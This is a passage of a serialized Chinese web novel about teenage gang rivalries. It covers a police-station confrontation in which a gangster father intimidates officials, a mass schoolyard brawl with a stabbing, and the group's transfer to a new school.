警察看着剑拔**张的两人,赶紧打圆场:“好了好了,别吵了,这里是警局。要不问问动手的孩子们?还有那些大点的孩子,让他们说说经过?”
华小博一听,立刻来了精神:“对!就该问问!”说着就快步走向王笃他们,指着王笃质问道,“我问你,你到底是谁叫来打架的?”王笃眼神闪烁,支支吾吾地指向邓志辉等人:“是他们!”
这下邓志辉坐不住了,猛地站起来指着他骂:“操,往老子头上扣屎盆子,找死呢吧!”华小博得意地看向邓天啸,扬了扬下巴:“怎么样,我就说了吧!”邓天啸连眼皮都没抬,拿起刚才警察做的笔录翻了翻,慢悠悠地说:“好像跟刚才的记录不一样啊。”
话音刚落,那个小警察突然冲上来抢过笔录,厉声呵斥:“警务文件也是你能随便拿随便看的?!”他话音刚落,门外就传来一阵大笑:“我说啸哥,你这是久不出世,连个小警察都敢跟你这么横了?”
众人齐刷刷转头看向门口,警察头子看清来人,眉头瞬间皱起,心里直犯嘀咕:今天是什么日子?怎么来了这么多大人物!这事儿越来越难办了。他赶紧堆起笑脸迎上去:“德哥啊,什么风把您吹来了?”
邓志辉凑到王涛耳边小声说:“你爸也来了?这么巧?”王涛翻了个白眼:“这叫巧?谁知道他抽什么风!”王德大步走进来,拍了拍警察头子的肩膀:“呦,这不是陈所长吗!我儿子让你给请到这儿了,我来接人。”
“嗨,这哪儿用您亲自跑一趟,大哥您一个电话就行啊!”陈所长点头哈腰地应着。王德话锋一转,瞥了眼旁边的小警察:“我说陈所长,你该不会连啸哥都不认识吧?”
“谁?”陈所长一脸茫然。“邓天啸。”赵德淡淡吐出三个字。陈所长吓得差点瘫坐在地上。邓天啸,广市青帮的二号人物,他怎么可能没听过!只是这种大人物怎么会跟自己这种小所长扯上关系?他毕竟是**湖,立刻换上恭敬的笑容,对着邓天啸连连作揖:“原来是啸哥!有眼不识泰山,有眼不识泰山啊!”
华小博看着自己被晾在一边,气得低声骂了句:“什么玩意儿!”陈所长见势不妙,赶紧打圆场:“看来各位家长都到了,那这事要不就这么算了?你们聊着,我先回避一下!”说着就要溜,却**天啸叫住:“等会儿。我就是想问问,这笔录怎么跟这孩子刚才说的不一样?”
陈所长心里叫苦不迭,只能硬着头皮说:“这个…我也不太清楚,您还是亲自问问这孩子吧。”“我问合适吗?我可不是警务人员。”邓天啸这话明显是说给那个小警察听的。陈所长立刻瞪了小警察一眼,转头对邓天啸谄媚道:“嗨,别人没这权利,您还能没有?您随便问!”
邓天啸微微一笑,看向蹲在地上的王笃:“孩子,站起来吧。跟我说说,华龙给了你什么好处,让你这么帮他?”他说着,用下巴指了指华龙。
王笃脸涨得通红,却还是咬牙咬定:“是他们先找事…”
邓天啸冷笑一声:“有骨气。但你可想好了,今天要是不说实话,以后再想翻供可没机会了。想清楚再回答。”
王笃心里天人交战,最后咬了咬牙,还是硬着头皮说是张霆琛他们先动手。邓天啸脸色一沉,对陈所长说:“把这些**的孩子关起来拘留!我看那个挨打的孩子伤得不轻,没准会落下残疾。”
陈所长以为自己听错了,刚要开口询问,就听邓天啸提高了音量:“听见没有?!”陈所长赶紧把话咽了回去,对着手下一招手:“把这几个孩子带下去!”王涛刚要张嘴问为什么,就被张霆琛一把拉住,还朝他眨了眨眼。王涛虽然不解,但转念一想,邓天啸总不会害他们,便乖乖闭了嘴。
警察刚要动手,王笃突然大喊起来:“不是不是!我说错了!是他叫我们来打架的!”他指着华龙,声音都在发抖。邓天啸斜睨着华小博,扬了扬下巴:“哎,你听见了?”华小博立刻跳起来辩解:“你们这是恐吓!赤裸裸的恐吓!”
“真是不见棺材不落泪。”邓天啸嗤笑一声,“那你自己问。”华小博不服气地走到王笃面前,拍着胸脯说:“孩子别怕,叔叔给你做主,把事情原原本本说清楚就行!”说完还得意地瞥了邓天啸一眼。
结果王笃接下来的话,差点把华小博气晕过去。王笃再傻也看得出局长对邓天啸的恭敬,得罪一个教委最多没学上,得罪社会大哥可是要命的!他立刻说道:“是华龙找我帮忙出气,说能让我轻松拿毕业证,我才来的!”
“你撒谎!”华小博气急败坏地咆哮,说着就要动手打王笃。王德眼疾手快,一把抓住他的胳膊,稍一用力就把他甩了出去。
这时那个小警察又跳了出来:“警察局里不准打架斗殴!你们当这儿是什么地方!”其实一开始小警察的蛮横,邓天啸还能忍,觉得警务人员就该有脾气,但现在明显偏袒华小博,就说不过去了。陈所长看出邓天啸真的动了怒,抬手就给了小警察一巴掌,怒斥道:“丁俊!滚出去!这里有你什么事!”丁俊捂着脸颊,一脸委屈,见所长还要动手,赶紧灰溜溜地跑了。
华小博趴在地上,对着众人嘶吼:“好好好!上梁不正下梁歪!我要报警!所长,给我备案!这里有人威胁殴打国家公务人员!”
这下陈所长彻底头大了。邓天啸深吸一口气,压下怒火,对邓志辉说:“你给我说说,你们到底怎么结的仇?”他心里清楚,自己儿子不是随便惹事的人。
邓志辉立刻解释:“是这样的,华龙第一天来就威胁张霆琛,说要抄他卷子,还在班里扬言要找女朋友。后来被
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老师发现,他还跑到宿舍找茬,矛盾就是这么来的。”
华小博立刻反驳:“我儿子成绩优秀,不可能抄卷子!你们这是栽赃陷害!”“我看是你上梁不正下梁歪吧!”王涛忍不住骂道。华小博指着华龙,怒声说:“你跟他们说,你为什么会被他们欺负!”
华龙支支吾吾说不出话,华小博赶紧给他打气:“没事,这里有警察叔叔做主,他们不敢怎么样!”华龙硬着头皮喊道:“他们不分青红皂白就欺负我!”“你们听听!”华小博像是抓住了救命稻草,大声嘶吼。
这下邓天啸是真的忍无可忍了。他身后的保镖上前一步,一脚就把华小博踹了出去。邓天啸怒声骂道:“就你这样的还当教委?简直是误人子弟,**!”说完转身就要带孩子们走。
华小博一个书生哪禁得住这一脚,趴在地上呼哧呼哧喘着粗气。走出警局后,邓天啸对张霆琛说:“这种人以后见一个揍一个,简直气死我了!没见过这么不要脸的。”
张霆琛连忙说:“给您添麻烦了,叔叔。”“没事,你们玩去吧。我和你德叔叔还有事要谈。”邓天啸摆了摆手。张霆琛礼貌地对王德说:“德叔叔再见。”等孩子们都走了,邓天啸看向王德:“怎么样?”“什么怎么样?”王德装傻。
“别装傻!我问那个孩子怎么样。”邓天啸指的是张霆琛。王德笑了笑:“不错,人中龙凤。但就怕运气不够,再有实力的人没运气,一样白搭。”“你还是这老一套神佛论调,一点没变。”邓天啸摇摇头。
“干嘛要变?我始终觉得,人的一切都是注定的,再有能力没外力帮衬,照样成不了事。”王德认真地说。“这话倒是不假。”邓天啸点头,“那你放心把孩子交给他吗?”
王德沉思片刻:“其实我最近也有这想法了。王涛这孩子太冲动,扛不起事,跟着张霆琛,说不定能学稳重点。本来我不希望他走这条路,但现在管不了,也不想管了,孩子的路让他自己选吧。就是希望这小子将来别是个小角色,耽误了我儿子。”
“哈哈哈哈!你就等着瞧,用不了几年,广市就得有个新星冒出来!”邓天啸信心满满。“这事先不说,那个教委怎么解决?”王德话锋一转。“得解决,留着就是麻烦。找市长说说吧,这种人直接做掉影响太大。”邓天啸说道。
这边两人谈事时,警局里的华小博还在大喊着要立案,却没人搭理。最后还是那个被赶走的丁俊凑上来献殷勤:“您别生气,这事我去跟所长说!”
华小博见终于有人理自己,顿时像抓住了救命稻草,连忙说:“你家里有孩子吗?有的话跟我说,想上什么样的学校随便挑!”
丁俊要的就是这句话,立刻说道:“我儿子马上要上小学了,就是好学校太难进,最少得花十几万……”
“没事!你说要去哪所,我来安排!”华小博拍着胸脯保证。
第一百零一章:风波再起
又是一个周一,赖军的办事效率还真是高,直接就给张霆琛他们办了五张出入证,分别是张霆琛、李辰浩、邓志辉、梁颖、赖家成。张霆琛和邓志辉等人勾肩搭背、嘻嘻哈哈地走进班级,正好跟华龙撞了个正着。
华龙看张霆琛的眼神里淬着阴狠,完全不像刚挨过揍的样子。张霆琛懒得搭理他,倒是邓志辉直接伸手一推:“滚!”
“我滚?我倒要看看你们还能嚣张到什么时候!哈哈哈哈!”华龙的笑声尖锐又刺耳。张霆琛皱着眉对邓志辉说:“跟这种人犯不着置气,走了!”
“是,我不值得理?我倒要看看你还有什么能耐,一群小痞子!”华龙的嘲讽像针一样扎过来。张霆琛这下是真忍不了了,攥紧拳头就挥了过去。不过他力道控制得刚刚好,只让华龙结结实实地摔了个屁股墩。邓志辉斜着眼瞥着张霆琛,撇撇嘴:“不是说不值得理吗?怎么还动手了?”
张霆琛耸耸肩,一脸无奈:“我也不知道怎么就动手了,这种人真是让人火大。”华龙捂着脸颊,冲着张霆琛歇斯底里地咆哮:“张霆琛你今天死定了!我让你念不成书!”
这时班主任赖军正好走进来,看见华龙坐在地上,眉头瞬间拧成了疙瘩,埋怨的目光直直射向张霆琛。班长乔川也赶紧凑上来添油加醋:“老师!张霆琛随便**!”
赖军现在真是一个头两个大,怎么又来这么一出?这届孩子怎么就这么不会看眼色呢?他硬着头皮问张霆琛:“是不是你干的?”张霆琛坦荡地点头:“是我,老师。”
“你来我办公室!”赖军说完转身就走,张霆琛立刻跟了上去。教室里只剩下乔川和华龙在那儿偷着乐,那副小人得志的嘴脸简直没眼看。
到了办公室,张霆琛以为赖军会对着自己大发雷霆,没想到对方却叹了口气:“孩子,咱们让着点这种人行不行?你斗得过他吗?他老爸就是个混不吝,儿子更是个愣头青,你跟这种人计较什么?”
张霆琛愣住了,完全没料到赖军会这么说。赖军接着劝:“以后这种事别再发生了,能忍就忍,总不能为这点小事丢了学业吧?”
“有这么夸张吗?”“怎么没有?你先动手**就是理亏,要是赶上教委严查,直接就能给你开除。我问你,你有靠山吗?”
“没有啊。”“没有你还敢瞎折腾?”“可这种人谁忍得了啊。”“我不管,我不能看着你被这种人毁了。”张霆琛看着赖军,心里暖烘烘的,差点没忍住掉眼泪。赖军见他不辩解了,以为他听进去了,继续说:“大道理我不讲了,你回去跟华龙道个歉,这事就算了。”
刚缓和的心情瞬间凉了半截,张霆琛脑袋摇得像拨浪鼓:“我跟他虽说算不上深仇大恨,但也早就结下梁子了,我揍过他好几回,上周五还一起去了警察局,教委那边都认识我了。”
“什么?你再说一遍?”赖军眼睛瞪得溜圆,他上周五去进修,怎么就闹出这种事了?正要追问,办公室的门就被推开,华龙的老爸,教委华小博,带着政教处的人闯了进来,里面竟然还有之前跟张霆琛不对付的女老师。张霆琛心里咯噔一下,暗道不妙。
赖军不认识华小博,还是客气地上前询问:“您是?”华小博压根没看他,厉声问:“刚才是谁打了华龙同学?”
张霆琛心里冷笑,这教委可真会装,不说打他儿子,偏说“华龙同学”,搞得自己多公正似的。他转念一想,服软也没用,干脆别搭理。华小博见没人应声,又提高音量:“是谁打了华龙同学?”
张霆琛依旧没开口,倒是那女老师上前一步指着他:“你怎么这么没礼貌?教委问你话呢!”张霆琛瞥了她一眼,反问:“教委说话就可以不看人吗?教委就可以摆架子?”“你!”女老师气结。
“我怎么了?刚才没人跟我好好说话,我凭什么回答?”“好个伶牙俐齿!刚才是不是你打了华龙?”华小博问。
“是。”“好!敢作敢当!当众**严重影响华龙的心理健康,我建议把跟这孩子来往密切的学生都遣送回家反省!”
呸!开什么玩笑,回家反省就是开除的前奏,这教委玩得真阴。张霆琛心里暗骂,嘴上没说。政教处的聂老师开口了:“我觉得太严重了,得仔细调查。一人做事一人当,凭什么牵连其他学生?”
“聂老师,你就别袒护这些问题学生了!以前没辙,现在教委在这儿,不用给他们机会,直接开除!”女老师帮腔道。
“不行!”聂老师急了,“我的学生不能随便开除,这是对他们、对家长、对社会不负责任!”华小博惊讶地看着聂老师,没料到有人敢跟自己叫板。两人正争执,一个挺着肚子的男人走进来,所有人都知道,拿主意的校长来了。
华小博见校长来了,反而更横了:“这就是你教出来的学生?校外聚众打架,校内当众斗殴,还顶撞老师!”“好大的官架子。”校长慢悠悠地开口。
华小博眼镜都快惊掉了,这校长竟敢这么跟自己说话?正要发作,校长转向张霆琛:“孩子,这里没你的事了,我会秉公处理。”
张霆琛刚要走,华小博一把抓
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住他:“不行!他不能走!”校长皱起眉:“我刚从警局了解到,张霆琛同学为了保护同学,勇斗校外流氓,差点受伤。我这儿还有证据呢。”说着拿出一张满分的数学卷子。张霆琛愣住了,这卷子怎么会在校长手里?他转头看了眼赖军,瞬间明白过来,敢情赖军的维护都是校长默许的。
华小博气得脸通红:“你这是纵容学生!警察局的记录是假的!你这老糊涂,马上就得回家种地!”校长从容地说:“我明年就退休了,不劳您费心。您不满意可以去市里告我,但在这儿威胁人,可不像合格的教育工作者。”
华小博指着他:“你完蛋了!”转身就要走,却被三名警察拦住。他赶紧说:“警察同志,这里有人需要带走!”
警察却问:“您是市教委的华小博吗?”
“我是!”“有人揭发您**,请跟我们回去配合调查。”“什么?搞错了吧!我一生清廉,怎么会**?”“对不起,请到警局再说。法律是公正的,不会冤枉好人,也不会放过坏人。”警察义正言辞地说。
张霆琛听得心里直热,差点没当场鼓掌。三天后消息传来:华小博因****被罢免,具体案情还在调查;华龙也被学校开除,真是赔了夫人又折兵。这事让张霆琛明白,人得有自知之明,不然早晚栽跟头。至于谁把华小博拉下马的,不用想也知道是邓天啸,谁让他不长眼得罪了人家呢。
风波刚过,新麻烦又来了,李耀回来了。大家都提心吊胆,不知道他会搞出什么事,张霆琛却满不在乎:“兵来将挡,水来土掩,没什么坎过不去。”兄弟们见老大这么淡定,也都放宽了心。
中午食堂里,大家正吃饭,邓志辉笑着说:“跟你们说,李耀掉的那颗牙接不上了,得等放假植牙,据说要好几万呢!哈哈,真想看看他没牙的样子!”
“可不是嘛,肯定特糗!”王涛在边上起哄。张霆琛朝后努努嘴:“你们看,说曹操曹操到。”大家回头一看,李耀带着几个人正朝这边走来。所有人都等着看他笑话,压根没把他当威胁。
李耀显然没料到会碰到张霆琛,刚走到食堂拐角,就有人伸脚挡住了他的路。李耀皱眉:“兄弟,你挡道了。”“挡你怎么了?”
李耀愣了,看着眼前这个高一的学生,纳闷自己才走两天,这些高一的怎么这么嚣张?正想理论,周围已经围上来不少人。他心里犯嘀咕,怎么才几天功夫,这些高一的小屁孩就不把自己放眼里了?但他也没怂,梗着脖子说:“怎么着?才几天就这么狂了?”
第一百零二章:会唱国歌吗
“狂怎么了?把自己媳妇看好,没准哪天爷爷我乐意了连你媳妇一起搞!”说着这高一学生伸手就在李耀身边女孩的胸口抓了一把。
那女孩压根没料到会遭此非礼,当即尖叫着哀嚎起来。李耀毫无征兆地一拳砸在那学生脸上,对方没反应过来,直接被揍得撞在食堂桌子上。周围的人见状立刻摆出要动手的架势,这时却听有**喊:“停!”
人群立刻让开一条道,张霆琛带着李辰浩等人走了过来,喊话的是李辰浩。所有人都纳闷他为何叫停,张霆琛却没反对。被揍到桌上的自家兄弟跑到张霆琛身边诉苦:“琛哥,这李耀又欠收拾了!”
张霆琛眉头一皱,反手就给了那学生一巴掌,厉声骂道:“你叫丁勇是吧?告诉你!再敢这么下流,就别在我眼前出现!”他转向身后的人,声音陡然拔高,“都听着!打架斗殴咱们谁也不怕,兄弟受了欺负,我让他百倍偿还!但没事欺负人不行!尤其是非礼女孩,都他妈还算不算老爷们!”
这话一出,所有人脸上先红后热,齐刷刷用愤怒的眼神瞪着丁勇。丁勇捂着脸,委屈地望着张霆琛。张霆琛瞪了他一眼,转头对李耀说:“今天是我兄弟不对,你们走。”
“走?这是你家开的?”李耀身边的人抢先指着张霆琛叫嚣,“学校老大还轮不到你做,最好有点自知之明!”邓志辉瞬间抓住那人的手指猛往上掰,对方疼得立刻弯腰哀嚎。就在这时,刀光一闪,李耀从身后抽出一把长**,直朝邓志辉胳膊划去。但刀刃还没碰到邓志辉,就被张霆琛伸手拦住。“耀哥,做得有点过了吧?”张霆琛冷冷道。
“过?”李耀挑眉,“你没听错吧?好像先动手的不是我。”张霆琛一声冷笑,猛地用力推开李耀。李耀踉跄后退两步,竟顺势收起了刀。他没发脾气,反而冷静地说:“不错,长江后浪推前浪,我这前浪是要被你拍**?但小子别狂,咱们日子还长。”说完喊了声“走”,带着人转身离开了食堂。
李耀走后,张霆琛盯着丁勇:“看看你那点出息!看李耀不顺眼就冲他来,调戏人家女孩算什么本事!”丁勇被说得满脸通红,张霆琛见状也不再多骂,拍了拍他的胳膊转身就走。丁勇如释重负地坐下,刚才他还以为自己要被踢出队伍了。
接下来的一天出奇平静,不少人觉得李耀是被张霆琛打怕了。可真的是这样吗?晚上张霆琛他们准备睡觉时,有人使劲砸门。大强不耐烦地开门:“干嘛?都睡了!有事明天说!”
门口的人急得直跺脚:“强哥!丁勇到现在没回来!他说去上厕所,结果人没影了,电话也不接!”大强皱眉回头看张霆琛,张霆琛也正纳闷,邓志辉却猛地起身:“不好!肯定是李耀他们把人带走了!快找!”
张霆琛瞬间反应过来上午的过节,当即从床上弹起来喊道:“所有人出去找!”整个晚上,高一的学生们满校园寻人。正当众人焦急万分时,有人给张霆琛打电话:“琛哥!我们找到丁勇了!”
“在哪?”“小花园的麻袋里!”
“什么?谁干的?”张霆琛强压怒火,“人怎么样?”“不太好……浑身是伤。”张霆琛二话不说直奔小花园,看到丁勇的瞬间,他差点没抄起家伙去找李耀,丁勇浑身是伤,胸口竟被烫了好几个烟疤!
李辰浩知道张霆琛要压不住火,赶紧拉住他:“别冲动,先问问情况。”他蹲下身问丁勇,“怎么回事?”“我想去上厕所,有人打电话说有快递,我纳闷着下楼,刚出门就被打晕了,然后他们打我,还用烟烫我胸口…”丁勇声音发颤。
张霆琛咬着牙问:“谁干的?”“李耀!”张霆琛转身就要去高二**,却被李辰浩死死拦住。他深吸一口气,拿出手机给李耀打过去。片刻后,听筒里传来戏谑的声音:“这不是张霆琛吗?找我什么事?”
“丁勇是你打的?”“什么啊,兄弟你说啥呢?”“我兄弟身上的伤,是你弄的?”“哦,你说上午跟我较劲那小子啊。”李耀轻笑,“是我打的,那几个烟疤也是我烫的!”电话那头传来嚣张的大笑。张霆琛没再废话,直接挂断电话,对着夜空嘶吼:“李耀!我要你付出代价!”
第二天,张霆琛打电话让李耀到后操场聚聚,对方竟真带着人来了。张霆琛手下虽有近百人,但李耀带来的人更多,高一压着高二打本就够丢人,这事传得沸沸扬扬,高二学生早就憋着火,如今李耀带头,几乎把年级能打的都叫来了,甚至还有女生!
张霆琛看着黑压压的人群愣了一下,心里暗惊人数之多,脸上却满是不屑:“一群废物!来多少都一样!兄弟们,抓住李耀往死里揍,给丁勇报仇!”
底下的人本有些紧张,听老大语气从容,顿时来了劲,个个撸起袖子准备干架。李耀走在最前面,嚣张地笑着走到张霆琛面前:“怕了?”
他还想说什么,张霆琛突然一个上勾拳
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砸在他脑袋上。李耀没料到对方不按套路出牌,当场闷哼一声。两边人马见状立刻混战在一起。高二的人比高一多出五十来个,但张霆琛他们毫无惧色。可高二队伍里不乏乌合之众,见高一的人下手又狠又猛,第一个念头就是逃跑。俗话说“一颗老鼠屎坏一锅汤”,高二的人竟真跑了不少,这让高一的士气更盛,下手越发不留情。
张霆琛一拳撂倒一个,没留神被张峰用桌腿抡在脑袋上,顿时鲜血直流。李辰浩见他受伤,立刻抽身过来,一拳朝张泽打去。可急火攻心下,他这拳用了全力,打架最忌全力出拳,一旦被躲过就会露破绽。张峰果然闪身躲开,一棍子朝李辰浩挥来。李辰浩反应极快,用左臂挡住棍子,一肘砸在张峰头上,紧接着夺过棍子,劈头盖脸朝对方打去。这一下比张霆琛挨的重多了,鲜血溅了李辰浩一脸。张峰当场没了力气,直挺挺倒在地上。李辰浩没理他,转头看张霆琛,见他已转战别处,才松了口气。
再好的身手在人海里也显得渺小,无非是比别人多挨几下,在劣势中多撑一会儿罢了。这场架足足打了二十分钟,之所以没老师来,是因为李耀早派人在楼口放哨,防止有人报信。放哨的人还对外边的人吹牛:“里面的人我们根本不放在眼里,出来透透气,一会儿再进去收拾他们!”脸皮厚得令人发指。
二十分钟后,高一的学生几乎全倒下了,不是**或晕了,而是脱力或疼得站不起来。最后能站着的只剩张霆琛、李辰浩、邓志辉、彭志龙、王涛、林凯、土狗、大强八人,个个带伤,尤其是彭志龙,站着都直打晃。
李耀带着二十多人围上来,嚣张地笑道:“怎么样小子?今天栽了吧!叫你狂!”张霆琛冷哼一声:“只要还有一个人站着,你就没赢。”
李耀竟有些佩服他,这种时候还嘴硬。但钦佩归钦佩,仇还是要报。他刚要下令动手,张霆琛突然喊:“等等!”
李耀皱眉,以为他要投降,结果张霆琛问:“你就真不投降?”
李耀气得差点背过气,张霆琛他们都精疲力竭了,还想让自己投降?“你脑子坏了?叫我投降?给我上!”“等等!”张霆琛又喊。李耀怒了:“你到底打不打?不打就跪下磕三个响头,叫十声爷爷,然后滚出学校!”
张霆琛突然觉得这李耀有点可笑,这种时候竟还想着占便宜。他没接话,反而问了句风马牛不相及的话:“你会唱国歌吗?”
第一百零三章:离开
李耀一愣,显然没料到张霆琛会蹦出这么一句。张霆琛却穷追不舍:“我就是想问问,你到底会不会唱国歌?”李耀气得咬牙切齿,突然反应过来,张霆琛这是在拖延时间!拖得越久,他们这群人的体力恢复得就越好。想通这点,李耀连命令都懒得喊,直接带头朝张霆琛扑了上去。
张霆琛见他冲过来,灵巧地侧身躲开,李辰浩紧接着一拳砸在李耀脸上。高二的其他人也不含糊,齐刷刷朝他们涌来。二十多人围堵八个带伤的,按说该胜券在握,可他们忘了张霆琛、李辰浩、邓志辉这几人根本不能用常人眼光衡量,越是危急关头,这几人越能爆发出百分之一百二十的战斗力,配合更是天衣无缝。
可毕竟只有八个人,没一会儿彭志龙和林凯就撑不住倒下了。张霆琛早已忘了章法,像头被逼急的野兽,抓到什么打什么,哪怕被打倒无数次,也总能咬着牙爬起来,活脱脱《热血高校》里打不死的小强。地上的兄弟见他这般顽强,也被激出了血性,不顾伤痛一个个重新站起。他们虽已无力再战,那份不服输的气势却震慑了对方。李耀见手下没人敢上前,怒吼道:“都他妈缩什么!现在能打的就他们三个!加上我咱们还有九个!怕个屁!孬种!”
被骂的人满脸通红,可还是没人敢动。李耀索性从腰后抽出**,指着张霆琛骂道:“老子今天就捅了你!我查过档案,你就是个没爹没娘的野种!你旁边的李辰浩也是!你们这群人没一个有背景的,除了林凯他爸是局长!老子捅了你也没人敢放个屁!”这话本是给自己壮胆,却狠狠踩中了张霆琛和李辰浩的逆鳞。“没爹没娘”四个字像尖刀,瞬间点燃了两人的怒火。
他们疯了似的冲向李耀,李耀瞅准时机朝李辰浩捅去,却被张霆琛一把推开。李辰浩趁机从腰间摸出短刀,快如闪电地朝李耀刺去,他留了手,没捅要害,而且除了身后的王涛,没人看清他拔刀。李耀瞪圆了眼,李辰浩却已收刀,夺过对方的**,对着伤口补了两下。在外人看来是两刀,实则最后一下只是做做样子。李辰浩曾听薛妈说过,只要短刀比对方的刀小,在同一位置用长刀补一下,庸医根本查不出破绽,他这是故意演给人看的。
其他人见李辰浩夺刀连捅李耀,再看张霆琛满头是血的模样,吓得魂飞魄散,撒腿就跑。这场架彻底惊动了全校,校长震怒,新教委更是要拿这事开刀。但张霆琛等人的名字彻底响彻校园,再没人敢惹这“八大天王”。
第二天,邓志辉的父亲邓天啸带着一众家长赶来。邓志辉把兄弟们叫到一起,邓天啸开口道:“你们还想上学吗?这事闹太大了,能不能留住学籍还不一定!”语气里竟没半分责备,反而用赞赏的眼神看向李辰浩:“小子,手够快!要不是看了那孩子的口供,我真不信除了**还有人能补出这一刀!不错!就是偏了点,不过庸医查不出来!”
李辰浩一脸诧异,却没解释,只是尴尬笑笑。邓天啸叹道:“这事难办,你们做好转学准备吧。我就算能保,也保不了这么多人,不如一起转走,这学校太乱了。”
张霆琛低头沉思,一人挨刀,十几人被开除,还有不少骨折的,学校重视也正常。正想着,老校长带着政教处那个“死八婆”走了过来。没等校长开口,八婆就指着张霆琛骂:“你这个不良青年!满意了吧!看你怎么收场!”
校长摆摆手,对邓天啸说:“天啸啊,这事压不住了,报纸、晨间新闻都报了,估计快传到首都了,我这老骨头管不了了。”邓天啸恭敬道:“麻烦您多周旋,尽量降低影响。”转头又对张霆琛等人说:“还不给校长道歉!”
众人鞠躬道歉,校长笑道:“年轻人火力壮,没事。”八婆却不依不饶:“就该送少管所!”被校长厉声打断。邓天啸离开前叮嘱:“新教委不好说话,只要不记档案就没事,最近千万别惹事。”警察后来询问李辰浩,也没深究。可到了晚上,麻烦又来了。
宿舍里,张霆琛、谢诗韵、陈曦、梁颖都在。张霆琛沉声道:“这事我扛,警察问就往我身上推!”“不行!有难同当!”邓志辉急道。“林凯去哪了?”李辰浩问。“被他爸带走了。”王涛说。
话音刚落,林凯的父亲林志毅走了进来,径直走向邓志辉:“坐下说。这事闹太大,我不好办。你们选几个人把责任扛了,推给李耀,然后转学,我不为难你们。”
“谁扛?”张霆琛起身问。“就屋里这些人!”林志毅答。王涛忍不住问:“那林凯呢?
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”林志毅瞬间火了:“你们害他还不够吗?我让他好好学习接我班,被你们带成这样!以后必须分开!只要你们藏起林凯的事,我就不追究,否则让你们去**所呆几年!”
这时邓志辉的手机响了,是邓天啸:“按他说的做!”邓志辉虽疑惑,还是答应了。张霆琛还想辩解,**志辉拦住:“叔叔,我们照做。但能不能联系林凯,取决于他自己。”
“哼,你们以后联系不上他了。”林志毅甩下话就走。王涛愤愤不平:“什么人啊!我倒要看看他怎么让咱们去**所!”“别闹,我爸都妥协了,肯定是林凯爸动真格了。先顺着他,林凯的事以后再说。”邓志辉劝道。
“现在看看谁愿意跟我们走。”李辰浩说。张霆琛没说话,等着大家表态。毕竟没人愿为义气放弃学业,王涛先站出来:“我必须走!”
“谁问你了!”李辰浩笑骂,邓志辉接道:“你不走也得走,不然埋了你!”彭志龙苦笑道:“我没本事,上次就看清自己懦弱了,反正学习不好,跟着走!”大强和土狗也耸耸肩:“留着也是被赵丰年收拾,转就转!”
梁颖忍不住抽泣起来,张霆琛拉着她去了小花园。梁颖终于放声大哭,张霆琛搂着她安慰:“我找个近点的学校,你中午能出来,我天天接你!”“必须的!”
下午,陈永、李绍良、方明明突然要求跟着走,他们知道跟着张霆琛才有出路,邓志辉家有背景,错不了。最终定下十人转学。
多年后,这所学校仍流传着“八大金刚”的神话:高一干倒高二,八个屹立不倒的少年。只是没人知道,多年后这八人还能剩几个。
晚上**和韩越请他们吃饭,韩越灌了口酒:“李耀这蠢货,连累我兄弟!早知道我出面制止了!”张霆琛举杯:“没事!多大点事!越哥、鸣哥,我敬你们!”
“爽快!”**拍着胸脯,“陈曦我们会照顾,赵丰年敢找麻烦,我让他知道厉害!”“谢了越哥、鸣哥!”酒过三巡,张霆琛宣布:“让崔和斌管着这边的兄弟,他得人心。”大家都没意见。
就这样,张霆琛彻底离开了这所学校。这是结束,也是开始还他崭新的混迹日子即将拉开序幕,真正的腥风血雨,才刚刚来临!
第一百零四章:新学校
在家闲了没几日,张霆琛等人便踏上了新的上学路。这几天他们一直在商量,到底去远点的学校还是就近入学。最后邓志辉的提议让大家都点了头:“咱们选近点的吧,这样能常回去看看,真有事叫人也方便。”张霆琛尤其同意,他答应了梁颖,每天中午要接她吃饭。
一群人最终敲定了附近的风行中学。这是一所初高中混编的学校,没什么背景特别硬的学生,离原来的学校只有两三里地,坐公交三站就到。学校规模不大,全校总共一千来人,据说向来不怎么太平。
开学这天,张霆琛、李辰浩等人自己聚在校门口,没让家长送,邓天啸早就打好了招呼,家长来也没用。这所学校不提供住宿,大家每天能回家,或许正因如此,校风才更难管束。张霆琛、李辰浩、王涛、彭志龙、邓志辉被分到一班,其他人去了二班,只有李绍良和方明明被分到了七班。
一进教室,全班同学的目光都投了过来。班主任是位语文老师,王涛偷偷凑到李辰浩耳边:“这老师真漂亮!我以后肯定好好学语文,为国争光!”李辰浩没好气地瞪他:“再贫我一脚给你踹出去!”
王涛嘿嘿笑着闭了嘴。几人做完自我介绍,老师温和地说:“以后你们就是一班的人了,希望大家好好学习,和同学处好关系,将来考个好大学,我姓刘,叫刘芳,你们叫我刘老师就行。”
“知道了老师!”众人齐声应道。张霆琛对这位老师印象不错,她说话简练,没扯那些让人反感的大道理。上课时,王涛竟破天荒地坐满了一整节课,只是眼神直勾勾盯着黑板,嘴里时不时“恩”“啊”应和,看得张霆琛他们憋笑憋得肩膀直抖。下课铃一响,几人立刻围了上去,王涛还托着下巴意犹未尽,李辰浩骂道:“没出息!”一脚把他从椅子上踹了下去。
王涛哎哟一声趴在地上,刚要骂人,抬头就见张霆琛几人摩拳擦掌,立马怂了,爬起来拱手作揖:“哥几个有事好说!”“老实交代,是不是看上刘老师了?”彭志龙坏笑着问。
王涛梗着脖子:“怎么可能!你涛哥是什么身份?”张霆琛突然指着门口:“刘老师来了!”王涛条件反射地站直朝门口张望:“哪呢哪呢?”反应过来后,气呼呼地指着张霆琛:“你又坑我!”
正闹着,一个戴眼镜的男生走过来:“欢迎加入我们班!我是班长王雨,下雨的雨。”张霆琛友好地笑了笑:“我叫张霆琛,以后麻烦你多照顾。”几人一一做了自我介绍。这个班比想象中平和,学习气氛虽不如原来的学校,却也不算乱,没什么明显混日子的人。王涛拉过王雨:“哥们,不是说这学校挺乱吗?怎么我们班这么和谐?”
王雨嘿嘿一笑:“咱们班不一样!再说学校乱不代表每个班都乱,再乱也比不上前几天高等中学的事热闹!”张霆琛无奈苦笑,原来自己原来的学校成了“最乱标杆”,都怪自己搅得人家声誉大跌。李辰浩拉着王雨问:“年级里哪个班最乱?”
“叫我王雨就行。最乱的是七班,好多混日子的,不过也没什么了不起。”张霆琛来了兴趣:“怎么说?”王雨有点不好意思:“七班那拨人早就被高二的收编了,天天一起在厕所抽烟认哥,我都撞见好几回了。”
张霆琛想起李绍良和方明明,问:“咱们转来的谁在七班?”“李绍良和方明明。”彭志龙答。“跟他们说低调点,别太出风头,咱们已经够扎眼了,安安稳稳读完高中再说。”张霆琛叮嘱道。“知道了。”
王雨在一旁好奇地问:“你们一起转来的有多少人?”张霆琛没隐瞒:“十个,还有几个在二班。”“哇,这么多人,你们肯定不会孤单了!”王雨笑着说。
